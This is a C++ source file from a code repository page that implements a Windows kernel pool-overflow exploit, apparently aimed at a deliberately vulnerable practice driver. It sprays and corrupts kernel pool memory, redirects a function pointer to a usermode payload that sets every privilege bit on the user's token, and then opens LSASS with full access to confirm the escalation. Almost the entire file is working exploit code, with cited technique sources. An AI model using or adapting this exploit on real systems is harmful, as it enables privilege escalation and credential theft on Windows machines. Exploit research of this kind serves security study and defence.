-
Notifications
You must be signed in to change notification settings - Fork 91
/
Copy pathPoolOverflow.cpp
243 lines (208 loc) · 6.87 KB
/
PoolOverflow.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
#pragma once
#include "stdafx.h"
#include "PoolOverflow.h"
#include "KernelAddressLeak.h"
#include "Structures.h"
#include "Helpers.h"
using namespace std;
// Holds the address of a token privilege variable in the kernel that KernelPayload will overwrite.
// Must be initialized before KernelPayload is called.
UINT64* TokenPrivilegeAddress;
// Payload to be called by kernel mode
NTSTATUS KernelPayload();
// BAD0B0B0 technique for exploiting pool overflows up to Windows 8. This implementation is 64bit only. It will fail on
// Windows 8 if SMEP is enabled (would need to do a kernel ROP instead of executing code in usermode address space).
// Presented by Nikita Tarakanov, http://conference.hitb.org/hitbsecconf2013ams/materials/D1T2%20-%20Nikita%20Tarakanov%20-%20Exploiting%20Hardcore%20Pool%20Corruptions%20in%20Microsoft%20Windows%20Kernel.zip
// Test on Windows 6.1 x64
BOOL AttackPO_BAD0B0B0(HANDLE hDevice)
{
const ULONG NUMBER_EVENTS = 1000;
BOOL success = false;
HANDLE hLsass = NULL;
PVOID tokenAddress = NULL;
HANDLE hEvents[NUMBER_EVENTS] = { 0 }; //Stores all the events I spray the pool with.
char* attackStr = new char[1000];
char* tmpAttackStr = attackStr;
PVOID tempBuf = NULL;
UNICODE_STRING ustr = { 0 };
OVERFLOW_PAGEDPOOL* data = NULL;
if (!VersionCheck(6, 1, 6, 1, AMD64))
{
printf("- Error: AttackPO_BAD0B0B0 only supports 64bit Windows 6.1\n");
goto Cleanup;
}
// Set TokenPrivilegeAddress to the address of the tokens privileges
if (!LeakCurrentUserTokenAddress((PVOID*)(&tokenAddress)))
{
printf("- Error: Unable to leak current user token address.\n");
goto Cleanup;
}
printf("+ Address of user token: 0x%p\n", tokenAddress);
TokenPrivilegeAddress = (UINT64*)((UINT_PTR)tokenAddress + 0x48);
//
// Spray the pool with Event objects
//
for (size_t i = 0; i < NUMBER_EVENTS; i++)
{
hEvents[i] = CreateEventW(NULL, false, false, to_wstring(i).c_str());
if (hEvents[i] == NULL)
{
printf("- Error: Unable to allocate kernel event. Pool spray failed. i = %i. Error: 0x%x\n", i, GetLastError());
goto Cleanup;
}
/*
//Debugging output
PVOID address = NULL;
if (!LeakAddressOfObjectByHandleInProcess(hEvents[i], &address))
{
printf("- Error: Call LeakAddressOfObjectByHandleInProcess\n");
goto Cleanup;
}
printf("Address of event object: 0x%p\n", address);
//printf("Press any key.\n");
//getchar();
*/
}
// Punch some holes in to the pool
size_t index = NUMBER_EVENTS - 1;
ULONG holes = 40;
while ((index > 0) && (holes > 0))
{
if (hEvents[index] != NULL)
{
CloseHandle(hEvents[index]);
hEvents[index] = NULL;
}
index -= 2;
holes--;
}
//
// Trigger the vulnerability. This will smash a _OBJECT_HEADER of one of the Event objects I just allocated.
//
// Build the payload for the exploit
memset(attackStr, 0, 1000);
memset(tmpAttackStr, 0x41, 0xf8); // Padding
tmpAttackStr += 0xf8;
memset(tmpAttackStr, 0x1, 0x1); // Overwrite the typeindex with 0x1 to trigger 0xbad0b0b0
USHORT length = (USHORT)((strlen(attackStr) / 2) + ((strlen(attackStr) % 2) * 2));
ustr.Length = length;
ustr.MaximumLength = length;
ustr.Buffer = (wchar_t*)attackStr;
data = new OVERFLOW_PAGEDPOOL();
data->PoolType = NonPagedPoolMustSucceed;
data->AllocationSize = 0x90; // Needs to be the same size as whatever object we spray the pool with.
data->UserData = ustr;
printf("+ Calling IOCTL to overflow pool.\n");
DWORD bytesReturned = 0; // Not used
BOOL bRc = DeviceIoControl(hDevice,
(DWORD)IOCTL_KDEXPLOITME_METHOD_OVERFLOWPOOL,
data,
sizeof(*data),
data, // Won't actually be used in this exploit
sizeof(*data),
&bytesReturned,
NULL
);
if (bRc == false)
{
printf("- Error calling DeviceIoControl with OVERFLOWPOOL control code. Error code: 0x%x", GetLastError());
goto Cleanup;
}
//
// Now allocate memory for a fake object at 0xbad0b0b0
//
LPVOID mem = VirtualAlloc((LPVOID)0xbad0b0b0, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (mem == NULL)
{
printf("- Error allocating memory for bad0b0b0 fake object.\n");
goto Cleanup;
}
//
// Write the address of our usermode shellcode
//
UINT_PTR* pFunctionPtr = (UINT_PTR*)((UINT_PTR)0xbad0b0b0 + (UINT_PTR)0x98);
*pFunctionPtr = (UINT_PTR)(&KernelPayload);
//
// Trigger the smashed function pointer to be executed
//
HMODULE hModule = LoadLibraryW(L"ntdll.dll");
tNtQuerySecurityObject pNtQuerySecurityObject = (tNtQuerySecurityObject)GetProcAddress(hModule, "NtQuerySecurityObject");
FreeLibrary(hModule); //NtDll is always loaded, no need to hold our reference to it
if (pNtQuerySecurityObject == NULL)
{
printf("- Error: Cannot retrieve NtQuerySecurityObject address.\n");
goto Cleanup;
}
ULONG szTempBuf = 2048;
ULONG realSize = 0;
tempBuf = malloc(szTempBuf);
if (tempBuf == NULL)
{
printf("- Error: Cannot allocate buffer for security information.\n");
goto Cleanup;
}
for (size_t i = 0; i < NUMBER_EVENTS; i++)
{
if (hEvents[i] != NULL)
{
// Call NtQuerySecurityObject on event event that is currently allocated. One of the event objects
// has been smashed and will trigger the 0xbad0b0b0 exploit.
NTSTATUS status = (*pNtQuerySecurityObject)(hEvents[i], DACL_SECURITY_INFORMATION, (PSECURITY_DESCRIPTOR)tempBuf, szTempBuf, &realSize);
if (status != 0)
{
printf("- Error calling NtQuerySecurityObject. i = 0x%p. Return code: 0x%x\n", i, status);
goto Cleanup;
}
}
}
//
// Attempt to open a HANDLE to LSASS to see if the exploit worked.
//
DWORD lsassProcId = 0;
if (!GetProcessIdByName(L"lsass.exe", &lsassProcId))
{
printf("- Failed to get lsass process by name.\n");
goto Cleanup;
}
printf("+ Process ID of LSASS: 0x%x\n", lsassProcId);
hLsass = OpenProcess(PROCESS_ALL_ACCESS, false, lsassProcId);
if (!hLsass)
{
printf("- Error opening a HANDLE to LSASS. Error code: 0x%x\n", GetLastError());
goto Cleanup;
}
printf("+ Successfully opened a full access handle to LSASS. Exploit worked!.\n");
printf("+ To ensure the system doesn't crash due to pool corruption, this process cannot be closed.\n");
while (getchar())
{
printf("+ To ensure the system doesn't crash due to pool corruption, this process cannot be closed.\n");
}
success = true;
Cleanup:
for (size_t i = 0; i < NUMBER_EVENTS; i++)
{
if (hEvents[i] != NULL)
{
CloseHandle(hEvents[i]);
hEvents[i] = NULL;
}
}
if (hLsass != NULL)
{
CloseHandle(hLsass);
hLsass = NULL;
}
if (tempBuf != NULL)
{
free(tempBuf);
}
return success;
}
// KernelPayload will overwrite the privileges of the current user token to give the user all privileges.
// Set TokenPrivilegeAddress and then get the kernel to call this function to elevate privileges.
// This was presented by Cesar Curudo (https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)
NTSTATUS KernelPayload()
{
*((UINT64*)TokenPrivilegeAddress) = (UINT64)0xFFFFFFFFFFFFFFFF;
return 0;
}